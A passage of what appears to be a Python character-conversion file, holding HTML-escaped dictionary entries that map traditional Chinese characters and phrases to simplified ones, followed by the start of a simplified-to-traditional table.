&#39;鲹&#39;, &#39;鰻&#39;: &#39;鳗&#39;, &#39;鰼&#39;: &#39;鳛&#39;, &#39;鰾&#39;: &#39;鳔&#39;, &#39;鱂&#39;: &#39;鳉&#39;, &#39;鱅&#39;: &#39;鳙&#39;, &#39;鱈&#39;: &#39;鳕&#39;, &#39;鱉&#39;: &#39;鳖&#39;, &#39;鱒&#39;: &#39;鳟&#39;, &#39;鱔&#39;: &#39;鳝&#39;, &#39;鱖&#39;: &#39;鳜&#39;, &#39;鱗&#39;: &#39;鳞&#39;, &#39;鱘&#39;: &#39;鲟&#39;, &#39;鱝&#39;: &#39;鲼&#39;, &#39;鱟&#39;: &#39;鲎&#39;, &#39;鱠&#39;: &#39;鲙&#39;, &#39;鱣&#39;: &#39;鳣&#39;, &#39;鱤&#39;: &#39;鳡&#39;, &#39;鱧&#39;: &#39;鳢&#39;, &#39;鱨&#39;: &#39;鲿&#39;, &#39;鱭&#39;: &#39;鲚&#39;, &#39;鱯&#39;: &#39;鳠&#39;, &#39;鱷&#39;: &#39;鳄&#39;, &#39;鱸&#39;: &#39;鲈&#39;, &#39;鱺&#39;: &#39;鲡&#39;, &#39;䰾&#39;: &#39;鲃&#39;, &#39;䲁&#39;: &#39;鳚&#39;, &#39;鳥&#39;: &#39;鸟&#39;, &#39;鳧&#39;: &#39;凫&#39;, &#39;鳩&#39;: &#39;鸠&#39;, &#39;鳬&#39;: &#39;凫&#39;, &#39;鳲&#39;: &#39;鸤&#39;, &#39;鳳&#39;: &#39;凤&#39;, &#39;鳴&#39;: &#39;鸣&#39;, &#39;鳶&#39;: &#39;鸢&#39;, &#39;鳾&#39;: &#39;䴓&#39;, &#39;鴆&#39;: &#39;鸩&#39;, &#39;鴇&#39;: &#39;鸨&#39;, &#39;鴉&#39;: &#39;鸦&#39;, &#39;鴒&#39;: &#39;鸰&#39;, &#39;鴕&#39;: &#39;鸵&#39;, &#39;鴛&#39;: &#39;鸳&#39;, &#39;鴝&#39;: &#39;鸲&#39;, &#39;鴞&#39;: &#39;鸮&#39;, &#39;鴟&#39;: &#39;鸱&#39;, &#39;鴣&#39;: &#39;鸪&#39;, &#39;鴦&#39;: &#39;鸯&#39;, &#39;鴨&#39;: &#39;鸭&#39;, &#39;鴯&#39;: &#39;鸸&#39;, &#39;鴰&#39;: &#39;鸹&#39;, &#39;鴴&#39;: &#39;鸻&#39;, &#39;鴷&#39;: &#39;䴕&#39;, &#39;鴻&#39;: &#39;鸿&#39;, &#39;鴿&#39;: &#39;鸽&#39;, &#39;鵁&#39;: &#39;䴔&#39;, &#39;鵂&#39;: &#39;鸺&#39;, &#39;鵃&#39;: &#39;鸼&#39;, &#39;鵐&#39;: &#39;鹀&#39;, &#39;鵑&#39;: &#39;鹃&#39;, &#39;鵒&#39;: &#39;鹆&#39;, &#39;鵓&#39;: &#39;鹁&#39;, &#39;鵜&#39;: &#39;鹈&#39;, &#39;鵝&#39;: &#39;鹅&#39;, &#39;鵠&#39;: &#39;鹄&#39;, &#39;鵡&#39;: &#39;鹉&#39;, &#39;鵪&#39;: &#39;鹌&#39;, &#39;鵬&#39;: &#39;鹏&#39;, &#39;鵮&#39;: &#39;鹐&#39;, &#39;鵯&#39;: &#39;鹎&#39;, &#39;鵲&#39;: &#39;鹊&#39;, &#39;鵷&#39;: &#39;鹓&#39;, &#39;鵾&#39;: &#39;鹍&#39;, &#39;鶄&#39;: &#39;䴖&#39;, &#39;鶇&#39;: &#39;鸫&#39;, &#39;鶉&#39;: &#39;鹑&#39;, &#39;鶊&#39;: &#39;鹒&#39;, &#39;鶓&#39;: &#39;鹋&#39;, &#39;鶖&#39;: &#39;鹙&#39;, &#39;鶘&#39;: &#39;鹕&#39;, &#39;鶚&#39;: &#39;鹗&#39;, &#39;鶡&#39;: &#39;鹖&#39;, &#39;鶥&#39;: &#39;鹛&#39;, &#39;鶩&#39;: &#39;鹜&#39;, &#39;鶪&#39;: &#39;䴗&#39;, &#39;鶬&#39;: &#39;鸧&#39;, &#39;鶯&#39;: &#39;莺&#39;, &#39;鶲&#39;: &#39;鹟&#39;, &#39;鶴&#39;: &#39;鹤&#39;, &#39;鶹&#39;: &#39;鹠&#39;, &#39;鶺&#39;: &#39;鹡&#39;, &#39;鶻&#39;: &#39;鹘&#39;, &#39;鶼&#39;: &#39;鹣&#39;, &#39;鶿&#39;: &#39;鹚&#39;, &#39;鷀&#39;: &#39;鹚&#39;, &#39;鷁&#39;: &#39;鹢&#39;, &#39;鷂&#39;: &#39;鹞&#39;, &#39;鷄&#39;: &#39;鸡&#39;, &#39;鷈&#39;: &#39;䴘&#39;, &#39;鷊&#39;: &#39;鹝&#39;, &#39;鷓&#39;: &#39;鹧&#39;, &#39;鷖&#39;: &#39;鹥&#39;, &#39;鷗&#39;: &#39;鸥&#39;, &#39;鷙&#39;: &#39;鸷&#39;, &#39;鷚&#39;: &#39;鹨&#39;, &#39;鷥&#39;: &#39;鸶&#39;, &#39;鷦&#39;: &#39;鹪&#39;, &#39;鷫&#39;: &#39;鹔&#39;, &#39;鷯&#39;: &#39;鹩&#39;, &#39;鷲&#39;: &#39;鹫&#39;, &#39;鷳&#39;: &#39;鹇&#39;, &#39;鷸&#39;: &#39;鹬&#39;, &#39;鷹&#39;: &#39;鹰&#39;, &#39;鷺&#39;: &#39;鹭&#39;, &#39;鷽&#39;: &#39;鸴&#39;, &#39;鷿&#39;: &#39;䴙&#39;, &#39;鸂&#39;: &#39;㶉&#39;, &#39;鸇&#39;: &#39;鹯&#39;, &#39;鸌&#39;: &#39;鹱&#39;, &#39;鸏&#39;: &#39;鹲&#39;, &#39;鸕&#39;: &#39;鸬&#39;, &#39;鸘&#39;: &#39;鹴&#39;, &#39;鸚&#39;: &#39;鹦&#39;, &#39;鸛&#39;: &#39;鹳&#39;, &#39;鸝&#39;: &#39;鹂&#39;, &#39;鸞&#39;: &#39;鸾&#39;, &#39;鹵&#39;: &#39;卤&#39;, &#39;鹹&#39;: &#39;咸&#39;, &#39;鹺&#39;: &#39;鹾&#39;, &#39;鹽&#39;: &#39;盐&#39;, &#39;麗&#39;: &#39;丽&#39;, &#39;麥&#39;: &#39;麦&#39;, &#39;麩&#39;: &#39;麸&#39;, &#39;麯&#39;: &#39;曲&#39;, &#39;麵&#39;: &#39;面&#39;, &#39;麼&#39;: &#39;么&#39;, &#39;麽&#39;: &#39;么&#39;, &#39;黃&#39;: &#39;黄&#39;, &#39;黌&#39;: &#39;黉&#39;, &#39;點&#39;: &#39;点&#39;, &#39;黨&#39;: &#39;党&#39;, &#39;黲&#39;: &#39;黪&#39;, &#39;黴&#39;: &#39;霉&#39;, &#39;黶&#39;: &#39;黡&#39;, &#39;黷&#39;: &#39;黩&#39;, &#39;黽&#39;: &#39;黾&#39;, &#39;黿&#39;: &#39;鼋&#39;, &#39;鼉&#39;: &#39;鼍&#39;, &#39;鼕&#39;: &#39;冬&#39;, &#39;鼴&#39;: &#39;鼹&#39;, &#39;齊&#39;: &#39;齐&#39;, &#39;齋&#39;: &#39;斋&#39;, &#39;齎&#39;: &#39;赍&#39;, &#39;齏&#39;: &#39;齑&#39;, &#39;齒&#39;: &#39;齿&#39;, &#39;齔&#39;: &#39;龀&#39;, &#39;齕&#39;: &#39;龁&#39;, &#39;齗&#39;: &#39;龂&#39;, &#39;齙&#39;: &#39;龅&#39;, &#39;齜&#39;: &#39;龇&#39;, &#39;齟&#39;: &#39;龃&#39;, &#39;齠&#39;: &#39;龆&#39;, &#39;齡&#39;: &#39;龄&#39;, &#39;齣&#39;: &#39;出&#39;, &#39;齦&#39;: &#39;龈&#39;, &#39;齪&#39;: &#39;龊&#39;, &#39;齬&#39;: &#39;龉&#39;, &#39;齲&#39;: &#39;龋&#39;, &#39;齶&#39;: &#39;腭&#39;, &#39;齷&#39;: &#39;龌&#39;, &#39;龍&#39;: &#39;龙&#39;, &#39;龎&#39;: &#39;厐&#39;, &#39;龐&#39;: &#39;庞&#39;, &#39;龔&#39;: &#39;龚&#39;, &#39;龕&#39;: &#39;龛&#39;, &#39;龜&#39;: &#39;龟&#39;, &#39;幾畫&#39;: &#39;几画&#39;, &#39;賣畫&#39;: &#39;卖画&#39;, &#39;滷鹼&#39;: &#39;卤碱&#39;, &#39;原畫&#39;: &#39;原画&#39;, &#39;口鹼&#39;: &#39;口碱&#39;, &#39;古畫&#39;: &#39;古画&#39;, &#39;名畫&#39;: &#39;名画&#39;, &#39;奇畫&#39;: &#39;奇画&#39;, &#39;如畫&#39;: &#39;如画&#39;, &#39;弱鹼&#39;: &#39;弱碱&#39;, &#39;彩畫&#39;: &#39;彩画&#39;, &#39;所畫&#39;: &#39;所画&#39;, &#39;扉畫&#39;: &#39;扉画&#39;, &#39;教畫&#39;: &#39;教画&#39;, &#39;水鹼&#39;: &#39;水碱&#39;, &#39;洋鹼&#39;: &#39;洋碱&#39;, &#39;炭畫&#39;: &#39;炭画&#39;, &#39;畫一&#39;: &#39;画一&#39;, &#39;畫上&#39;: &#39;画上&#39;, &#39;畫下&#39;: &#39;画下&#39;, &#39;畫中&#39;: &#39;画中&#39;, &#39;畫供&#39;: &#39;画供&#39;, &#39;畫兒&#39;: &#39;画儿&#39;, &#39;畫具&#39;: &#39;画具&#39;, &#39;畫出&#39;: &#39;画出&#39;, &#39;畫史&#39;: &#39;画史&#39;, &#39;畫品&#39;: &#39;画品&#39;, &#39;畫商&#39;: &#39;画商&#39;, &#39;畫圈&#39;: &#39;画圈&#39;, &#39;畫境&#39;: &#39;画境&#39;, &#39;畫工&#39;: &#39;画工&#39;, &#39;畫帖&#39;: &#39;画帖&#39;, &#39;畫幅&#39;: &#39;画幅&#39;, &#39;畫意&#39;: &#39;画意&#39;, &#39;畫成&#39;: &#39;画成&#39;, &#39;畫景&#39;: &#39;画景&#39;, &#39;畫本&#39;: &#39;画本&#39;, &#39;畫架&#39;: &#39;画架&#39;, &#39;畫框&#39;: &#39;画框&#39;, &#39;畫法&#39;: &#39;画法&#39;, &#39;畫王&#39;: &#39;画王&#39;, &#39;畫界&#39;: &#39;画界&#39;, &#39;畫符&#39;: &#39;画符&#39;, &#39;畫紙&#39;: &#39;画纸&#39;, &#39;畫線&#39;: &#39;画线&#39;, &#39;畫航&#39;: &#39;画航&#39;, &#39;畫舫&#39;: &#39;画舫&#39;, &#39;畫虎&#39;: &#39;画虎&#39;, &#39;畫論&#39;: &#39;画论&#39;, &#39;畫譜&#39;: &#39;画谱&#39;, &#39;畫象&#39;: &#39;画象&#39;, &#39;畫質&#39;: &#39;画质&#39;, &#39;畫貼&#39;: &#39;画贴&#39;, &#39;畫軸&#39;: &#39;画轴&#39;, &#39;畫頁&#39;: &#39;画页&#39;, &#39;鹽鹼&#39;: &#39;盐碱&#39;, &#39;鹼基&#39;: &#39;碱基&#39;, &#39;鹼度&#39;: &#39;碱度&#39;, &#39;鹼水&#39;: &#39;碱水&#39;, &#39;鹼熔&#39;: &#39;碱熔&#39;, &#39;磁畫&#39;: &#39;磁画&#39;, &#39;策畫&#39;: &#39;策画&#39;, &#39;組畫&#39;: &#39;组画&#39;, &#39;絹畫&#39;: &#39;绢画&#39;, &#39;耐鹼&#39;: &#39;耐碱&#39;, &#39;肉鹼&#39;: &#39;肉碱&#39;, &#39;膠畫&#39;: &#39;胶画&#39;, &#39;茶鹼&#39;: &#39;茶碱&#39;, &#39;西畫&#39;: &#39;西画&#39;, &#39;貼畫&#39;: &#39;贴画&#39;, &#39;返鹼&#39;: &#39;返碱&#39;, &#39;鍾鍛&#39;: &#39;锺锻&#39;, &#39;鍛鍾&#39;: &#39;锻锺&#39;, &#39;雕畫&#39;: &#39;雕画&#39;, &#39;三聯畫&#39;: &#39;三联画&#39;, &#39;中國畫&#39;: &#39;中国画&#39;, &#39;書畫&#39;: &#39;书画&#39;, &#39;書畫社&#39;: &#39;书画社&#39;, &#39;五筆畫&#39;: &#39;五笔画&#39;, &#39;作畫&#39;: &#39;作画&#39;, &#39;入畫&#39;: &#39;入画&#39;, &#39;寫生畫&#39;: &#39;写生画&#39;, &#39;刻畫&#39;: &#39;刻画&#39;, &#39;動畫&#39;: &#39;动画&#39;, &#39;勾畫&#39;: &#39;勾画&#39;, &#39;單色畫&#39;: &#39;单色画&#39;, &#39;卡通畫&#39;: &#39;卡通画&#39;, &#39;國畫&#39;: &#39;国画&#39;, &#39;圖畫&#39;: &#39;图画&#39;, &#39;壁畫&#39;: &#39;壁画&#39;, &#39;字畫&#39;: &#39;字画&#39;, &#39;宣傳畫&#39;: &#39;宣传画&#39;, &#39;工筆畫&#39;: &#39;工笔画&#39;, &#39;年畫&#39;: &#39;年画&#39;, &#39;幽默畫&#39;: &#39;幽默画&#39;, &#39;指畫&#39;: &#39;指画&#39;, &#39;描畫&#39;: &#39;描画&#39;, &#39;插畫&#39;: &#39;插画&#39;, &#39;擘畫&#39;: &#39;擘画&#39;, &#39;春畫&#39;: &#39;春画&#39;, &#39;木刻畫&#39;: &#39;木刻画&#39;, &#39;機械畫&#39;: &#39;机械画&#39;, &#39;比畫&#39;: &#39;比画&#39;, &#39;毛筆畫&#39;: &#39;毛笔画&#39;, &#39;水粉畫&#39;: &#39;水粉画&#39;, &#39;油畫&#39;: &#39;油画&#39;, &#39;海景畫&#39;: &#39;海景画&#39;, &#39;漫畫&#39;: &#39;漫画&#39;, &#39;點畫&#39;: &#39;点画&#39;, &#39;版畫&#39;: &#39;版画&#39;, &#39;畫像&#39;: &#39;画像&#39;, &#39;畫冊&#39;: &#39;画册&#39;, &#39;畫刊&#39;: &#39;画刊&#39;, &#39;畫匠&#39;: &#39;画匠&#39;, &#39;畫捲&#39;: &#39;画卷&#39;, &#39;畫圖&#39;: &#39;画图&#39;, &#39;畫壇&#39;: &#39;画坛&#39;, &#39;畫室&#39;: &#39;画室&#39;, &#39;畫家&#39;: &#39;画家&#39;, &#39;畫屏&#39;: &#39;画屏&#39;, &#39;畫展&#39;: &#39;画展&#39;, &#39;畫布&#39;: &#39;画布&#39;, &#39;畫師&#39;: &#39;画师&#39;, &#39;畫廊&#39;: &#39;画廊&#39;, &#39;畫報&#39;: &#39;画报&#39;, &#39;畫押&#39;: &#39;画押&#39;, &#39;畫板&#39;: &#39;画板&#39;, &#39;畫片&#39;: &#39;画片&#39;, &#39;畫畫&#39;: &#39;画画&#39;, &#39;畫皮&#39;: &#39;画皮&#39;, &#39;畫眉鳥&#39;: &#39;画眉鸟&#39;, &#39;畫稿&#39;: &#39;画稿&#39;, &#39;畫筆&#39;: &#39;画笔&#39;, &#39;畫院&#39;: &#39;画院&#39;, &#39;畫集&#39;: &#39;画集&#39;, &#39;畫面&#39;: &#39;画面&#39;, &#39;筆畫&#39;: &#39;笔画&#39;, &#39;細密畫&#39;: &#39;细密画&#39;, &#39;繪畫&#39;: &#39;绘画&#39;, &#39;自畫像&#39;: &#39;自画像&#39;, &#39;蠟筆畫&#39;: &#39;蜡笔画&#39;, &#39;裸體畫&#39;: &#39;裸体画&#39;, &#39;西洋畫&#39;: &#39;西洋画&#39;, &#39;透視畫&#39;: &#39;透视画&#39;, &#39;銅版畫&#39;: &#39;铜版画&#39;, &#39;靜物畫&#39;: &#39;静物画&#39;} # 繁体 zh2Hant = {&#39;呆&#39;: &#39;獃&#39;, &#39;打印机&#39;: &#39;印表機&#39;, &#39;帮助文件&#39;: &#39;說明檔案&#39;, &#39;画&#39;: &#39;畫&#39;, &#39;龙&#39;: &#39;龍&#39;, &#39;板&#39;: &#39;板&#39;, &#39;表&#39;: &#39;表&#39;, &#39;才&#39;: &#39;才&#39;, &#39;丑&#39;: &#39;醜&#39;, &#39;出&#39;: &#39;出&#39;, &#39;淀&#39;: &#39;澱&#39;, &#39;冬&#39;: &#39;冬&#39;, &#39;范&#39;: &#39;範&#39;, &#39;丰&#39;: &#39;豐&#39;, &#39;刮&#39;: &#39;刮&#39;, &#39;后&#39;: &#39;後&#39;, &#39;胡&#39;: &#39;胡&#39;, &#39;回&#39;: &#39;回&#39;, &#39;伙&#39;: &#39;夥&#39;, &#39;姜&#39;: &#39;薑&#39;, &#39;借&#39;: &#39;借&#39;, &#39;克&#39;: &#39;克&#39;, &#39;困&#39;: &#39;困&#39;, &#39;漓&#39;: &#39;漓&#39;, &#39;里&#39;: &#39;里&#39;, &#39;帘&#39;: &#39;簾&#39;, &#39;霉&#39;: &#39;霉&#39;, &#39;面&#39;: &#39;面&#39;, &#39;蔑&#39;: &#39;蔑&#39;, &#39;千&#39;: &#39;千&#39;, &#39;秋&#39;: &#39;秋&#39;, &#39;松&#39;: &#39;松&#39;, &#39;咸&#39;: &#39;咸&#39;, &#39;向&#39;: &#39;向&#39;, &#39;余&#39;: &#39;餘&#39;, &#39;郁&#39;: &#39;鬱&#39;, &#39;御&#39;: &#39;御&#39;, &#39;愿&#39;: &#39;願&#39;, &#39;云&#39;: &#39;雲&#39;, &#39;芸&#39;: &#39;芸&#39;, &#39;沄&#39;: &#39;沄&#39;, &#39;致&#39;: &#39;致&#39;, &#39;制&#39;: &#39;制&#39;, &#39;朱&#39;: &#39;朱&#39;, &#39;筑&#39;: &#39;築&#39;, &#39;准&#39;: &#39;準&#39;, &#39;厂&#39;: &#39;廠&#39;, &#39;广&#39;: &#39;廣&#39;, &#39;辟&#39;: &#39;闢&#39;, &#39;别&#39;: &#39;別&#39;, &#39;卜&#39;: &#39;卜&#39;, &#39;沈&#39;: &#39;沈&#39;, &#39;冲&#39;: &#39;沖&#39;, &#39;种&#39;: &#39;種&#39;, &#39;虫&#39;: &#39;蟲&#39;, &#39;担&#39;: &#39;擔&#39;, &#39;党&#39;: &#39;黨&#39;, &#39;斗&#39;: &#39;鬥&#39;, &#39;儿&#39;: &#39;兒&#39;, &#39;干&#39;: &#39;乾&#39;, &#39;谷&#39;: &#39;谷&#39;, &#39;柜&#39;: &#39;櫃&#39;, &#39;合&#39;: &#39;合&#39;, &#39;划&#39;: &#39;劃&#39;, &#39;坏&#39;: &#39;壞&#39;, &#39;几&#39;: &#39;幾&#39;, &#39;系&#39;: &#39;系&#39;, &#39;家&#39;: &#39;家&#39;, &#39;价&#39;: &#39;價&#39;, &#39;据&#39;: &#39;據&#39;, &#39;卷&#39;: &#39;捲&#39;, &#39;适&#39;: &#39;適&#39;, &#39;蜡&#39;: &#39;蠟&#39;, &#39;腊&#39;: &#39;臘&#39;, &#39;了&#39;: &#39;了&#39;, &#39;累&#39;: &#39;累&#39;, &#39;么&#39;: &#39;麽&#39;, &#39;蒙&#39;: &#39;蒙&#39;, &#39;万&#39;: &#39;萬&#39;, &#39;宁&#39;: &#39;寧&#39;, &#39;朴&#39;: &#39;樸&#39;, &#39;苹&#39;: &#39;蘋&#39;, &#39;仆&#39;: &#39;僕&#39;, &#39;曲&#39;: &#39;曲&#39;, &#39;确&#39;: &#39;確&#39;, &#39;舍&#39;: &#39;舍&#39;, &#39;胜&#39;: &#39;勝&#39;, &#39;术&#39;: &#39;術&#39;, &#39;台&#39;: &#39;台&#39;, &#39;体&#39;: &#39;體&#39;, &#39;涂&#39;: &#39;塗&#39;, &#39;叶&#39;: &#39;葉&#39;, &#39;吁&#39;: &#39;吁&#39;, &#39;旋&#39;: &#39;旋&#39;, &#39;佣&#39;: &#39;傭&#39;, &#39;与&#39;: &#39;與&#39;, &#39;折&#39;: &#39;折&#39;, &#39;征&#39;: &#39;徵&#39;, &#39;症&#39;: &#39;症&#39;, &#39;恶&#39;: &#39;惡&#39;, &#39;发&#39;: &#39;發&#39;, &#39;复&#39;: &#39;復&#39;, &#39;汇&#39;: &#39;匯&#39;, &#39;获&#39;: &#39;獲&#39;, &#39;饥&#39;: &#39;飢&#39;, &#39;尽&#39;: &#39;盡&#39;, &#39;历&#39;: &#39;歷&#39;, &#39;卤&#39;: &#39;滷&#39;, &#39;弥&#39;: &#39;彌&#39;, &#39;签&#39;: &#39;簽&#39;, &#39;纤&#39;: &#39;纖&#39;, &#39;苏&#39;: &#39;蘇&#39;, &#39;坛&#39;: &#39;壇&#39;, &#39;团&#39;: &#39;團&#39;, &#39;须&#39;: &#39;須&#39;, &#39;脏&#39;: &#39;臟&#39;, &#39;只&#39;: &#39;只&#39;, &#39;钟&#39;: &#39;鐘&#39;, &#39;药&#39;: &#39;藥&#39;, &#39;同&#39;: &#39;同&#39;, &#39;志&#39;: &#39;志&#39;, &#39;杯&#39;: &#39;杯&#39;, &#39;岳&#39;: &#39;岳&#39;, &#39;布&#39;: &#39;布&#39;, &#39;当&#39;: &#39;當&#39;, &#39;吊&#39;: &#39;弔&#39;, &#39;仇&#39;: &#39;仇&#39;, &#39;蕴&#39;: &#39;蘊&#39;, &#39;线&#39;: &#39;線&#39;, &#39;为&#39;: &#39;為&#39;, &#39;产&#39;: &#39;產&#39;, &#39;众&#39;: &#39;眾&#39;, &#39;伪&#39;: &#39;偽&#39;, &#39;凫&#39;: &#39;鳧&#39;, &#39;厕&#39;: &#39;廁&#39;, &#39;启&#39;: &#39;啟&#39;, &#39;墙&#39;: &#39;牆&#39;, &#39;壳&#39;: &#39;殼&#39;, &#39;奖&#39;: &#39;獎&#39;, &#39;妫&#39;: &#39;媯&#39;, &#39;并&#39;: &#39;並&#39;, &#39;录&#39;: &#39;錄&#39;, &#39;悫&#39;: &#39;愨&#39;, &#39;极&#39;: &#39;極&#39;, &#39;沩&#39;: &#39;溈&#39;, &#39;瘘&#39;: &#39;瘺&#39;, &#39;硷&#39;: &#39;鹼&#39;, &#39;竖&#39;: &#39;豎&#39;, &#39;绝&#39;: &#39;絕&#39;, &#39;绣&#39;: &#39;繡&#39;, &#39;绦&#39;: &#39;絛&#39;, &#39;绱&#39;: &#39;緔&#39;, &#39;绷&#39;: &#39;綳&#39;, &#39;绿&#39;: &#39;綠&#39;, &#39;缰&#39;: &#39;韁&#39;, &#39;苧&#39;: &#39;苎&#39;, &#39;莼&#39;: &#39;蒓&#39;, &#39;说&#39;: &#39;說&#39;, &#39;谣&#39;: &#39;謠&#39;, &#39;谫&#39;: &#39;譾&#39;, &#39;赃&#39;: &#39;贓&#39;, &#39;赍&#39;: &#39;齎&#39;, &#39;赝&#39;: &#39;贗&#39;, &#39;酝&#39;: &#39;醞&#39;, &#39;采&#39;: &#39;採&#39;, &#39;钩&#39;: &#39;鉤&#39;, &#39;钵&#39;: &#39;缽&#39;, &#39;锈&#39;: &#39;銹&#39;, &#39;锐&#39;: &#39;銳&#39;, &#39;锨&#39;: &#39;杴&#39;, &#39;镌&#39;: &#39;鐫&#39;, &#39;镢&#39;: &#39;钁&#39;, &#39;阅&#39;: &#39;閱&#39;, &#39;颓&#39;: &#39;頹&#39;, &#39;颜&#39;: &#39;顏&#39;, &#39;骂&#39;: &#39;罵&#39;, &#39;鲇&#39;: &#39;鯰&#39;, &#39;鲞&#39;: &#39;鯗&#39;, &#39;鳄&#39;: &#39;鱷&#39;, &#39;鸡&#39;: &#39;雞&#39;, &#39;鹚&#39;: &#39;鶿&#39;, &#39;荡&#39;: &#39;盪&#39;, &#39;锤&#39;: &#39;錘&#39;, &#39;㟆&#39;: &#39;㠏&#39;, &#39;㛟&#39;: &#39;𡞵&#39;, &#39;专&#39;: &#39;專&#39;, &#39;业&#39;: &#39;業&#39;, &#39;丛&#39;: &#39;叢&#39;, &#39;东&#39;: &#39;東&#39;, &#39;丝&#39;: &#39;絲&#39;, &#39;丢&#39;: &#39;丟&#39;, &#39;两&#39;: &#39;兩&#39;, &#39;严&#39;: &#39;嚴&#39;, &#39;丧&#39;: &#39;喪&#39;, &#39;个&#39;: &#39;個&#39;, &#39;临&#39;: &#39;臨&#39;, &#39;丽&#39;: &#39;麗&#39;, &#39;举&#39;: &#39;舉&#39;, &#39;义&#39;: &#39;義&#39;, &#39;乌&#39;: &#39;烏&#39;, &#39;乐&#39;: &#39;樂&#39;, &#39;乔&#39;: &#39;喬&#39;, &#39;习&#39;: &#39;習&#39;, &#39;乡&#39;: &#39;鄉&#39;, &#39;书&#39;: &#39;書&#39;, &#39;买&#39;: &#39;買&#39;, &#39;乱&#39;: &#39;亂&#39;, &#39;争&#39;: &#39;爭&#39;, &#39;于&#39;: &#39;於&#39;, &#39;亏&#39;: &#39;虧&#39;, &#39;亚&#39;: &#39;亞&#39;, &#39;亩&#39;: &#39;畝&#39;, &#39;亲&#39;: &#39;親&#39;, &#39;亵&#39;: &#39;褻&#39;, &#39;亸&#39;: &#39;嚲&#39;, &#39;亿&#39;: &#39;億&#39;, &#39;仅&#39;: &#39;僅&#39;, &#39;从&#39;: &#39;從&#39;, &#39;仑&#39;: &#39;侖&#39;, &#39;仓&#39;: &#39;倉&#39;, &#39;仪&#39;: &#39;儀&#39;, &#39;们&#39;: &#39;們&#39;, &#39;优&#39;: &#39;優&#39;, &#39;会&#39;: &#39;會&#39;, &#39;伛&#39;: &#39;傴&#39;, &#39;伞&#39;: &#39;傘&#39;, &#39;伟&#39;: &#39;偉&#39;, &#39;传&#39;: &#39;傳&#39;, &#39;伣&#39;: &#39;俔&#39;, &#39;伤&#39;: &#39;傷&#39;, &#39;伥&#39;: &#39;倀&#39;, &#39;伦&#39;: &#39;倫&#39;, &#39;伧&#39;: &#39;傖&#39;, &#39;伫&#39;: &#39;佇&#39;, &#39;佥&#39;: &#39;僉&#39;, &#39;侠&#39;: &#39;俠&#39;, &#39;侣&#39;: &#39;侶&#39;, &#39;侥&#39;: &#39;僥&#39;, &#39;侦&#39;: &#39;偵&#39;, &#39;侧&#39;: &#39;側&#39;, &#39;侨&#39;: &#39;僑&#39;, &#39;侩&#39;: &#39;儈&#39;, &#39;侪&#39;: &#39;儕&#39;, &#39;侬&#39;: &#39;儂&#39;, &#39;俣&#39;: &#39;俁&#39;, &#39;俦&#39;: &#39;儔&#39;, &#39;俨&#39;: &#39;儼&#39;, &#39;俩&#39;: &#39;倆&#39;, &#39;俪&#39;: &#39;儷&#39;, &#39;俫&#39;: &#39;倈&#39;, &#39;俭&#39;: &#39;儉&#39;, &#39;债&#39;: &#39;債&#39;, &#39;倾&#39;: &#39;傾&#39;, &#39;偬&#39;: &#39;傯&#39;, &#39;偻&#39;: &#39;僂&#39;, &#39;偾&#39;: &#39;僨&#39;, &#39;偿&#39;: &#39;償&#39;, &#39;傥&#39;: &#39;儻&#39;, &#39;傧&#39;: &#39;儐&#39;, &#39;储&#39;: &#39;儲&#39;, &#39;傩&#39;: &#39;儺&#39;, &#39;㑩&#39;: &#39;儸&#39;, &#39;兑&#39;: &#39;兌&#39;, &#39;兖&#39;: &#39;兗&#39;, &#39;兰&#39;: &#39;蘭&#39;, &#39;关&#39;: &#39;關&#39;, &#39;兴&#39;: &#39;興&#39;, &#39;兹&#39;: &#39;茲&#39;, &#39;养&#39;: &#39;養&#39;, &#39;兽&#39;: &#39;獸&#39;, &#39;冁&#39;: &#39;囅&#39;, &#39;内&#39;: &#39;內&#39;, &#39;冈&#39;: &#39;岡&#39;, &#39;册&#39;: &#39;冊&#39;, &#39;写&#39;: &#39;寫&#39;, &#39;军&#39;: &#39;軍&#39;, &#39;农&#39;: &#39;農&#39;, &#39;冯&#39;: &#39;馮&#39;, &#39;决&#39;: &#39;決&#39;, &#39;况&#39;: &#39;況&#39;, &#39;冻&#39;: &#39;凍&#39;, &#39;净&#39;: &#39;凈&#39;, &#39;凉&#39;: &#39;涼&#39;, &#39;减&#39;: &#39;減&#39;, &#39;凑&#39;: &#39;湊&#39;, &#39;凛&#39;: &#39;凜&#39;, &#39;凤&#39;: &#39;鳳&#39;, &#39;凭&#39;: &#39;憑&#39;, &#39;凯&#39;: &#39;凱&#39;, &#39;击&#39;: &#39;擊&#39;, &#39;凿&#39;: &#39;鑿&#39;, &#39;刍&#39;: &#39;芻&#39;, &#39;刘&#39;: &#39;劉&#39;, &#39;则&#39;: &#39;則&#39;, &#39;刚&#39;: &#39;剛&#39;, &#39;创&#39;: &#39;創&#39;, &#39;删&#39;: &#39;刪&#39;, &#39;刬&#39;: &#39;剗&#39;, &#39;刭&#39;: &#39;剄&#39;, &#39;刹&#39;: &#39;剎&#39;, &#39;刽&#39;: &#39;劊&#39;, &#39;刿&#39;: &#39;劌&#39;, &#39;剀&#39;: &#39;剴&#39;, &#39;剂&#39;: &#39;劑&#39;, &#39;剐&#39;: &#39;剮&#39;, &#39;剑&#39;: &#39;劍&#39;, &#39;剥&#39;: &#39;剝&#39;, &#39;剧&#39;: &#39;劇&#39;, &#39;㓥&#39;: &#39;劏&#39;, &#39;㔉&#39;: &#39;劚&#39;, &#39;劝&#39;: &#39;勸&#39;, &#39;办&#39;: &#39;辦&#39;, &#39;务&#39;: &#39;務&#39;, &#39;劢&#39;: &#39;勱&#39;, &#39;动&#39;: &#39;動&#39;, &#39;励&#39;: &#39;勵&#39;, &#39;劲&#39;: &#39;勁&#39;, &#39;劳&#39;: &#39;勞&#39;, &#39;势&#39;: &#39;勢&#39;, &#39;勋&#39;: &#39;勛&#39;, &#39;勚&#39;: &#39;勩&#39;, &#39;匀&#39;: &#39;勻&#39;, &#39;匦&#39;: &#39;匭&#39;, &#39;匮&#39;: &#39;匱&#39;, &#39;区&#39;: &#39;區&#39;, &#39;医&#39;: &#39;醫&#39;, &#39;华&#39;: &#39;華&#39;, &#39;协&#39;: &#39;協&#39;, &#39;单&#39;: &#39;單&#39;, &#39;卖&#39;: &#39;賣&#39;, &#39;卢&#39;: &#39;盧&#39;, &#39;卫&#39;: &#39;衛&#39;, &#39;却&#39;: &#39;卻&#39;, &#39;厅&#39;: &#39;廳&#39;, &#39;厉&#39;: &#39;厲&#39;, &#39;压&#39;: &#39;壓&#39;, &#39;厌&#39;: &#39;厭&#39;, &#39;厍&#39;: &#39;厙&#39;, &#39;厐&#39;: &#39;龎&#39;, &#39;厘&#39;: 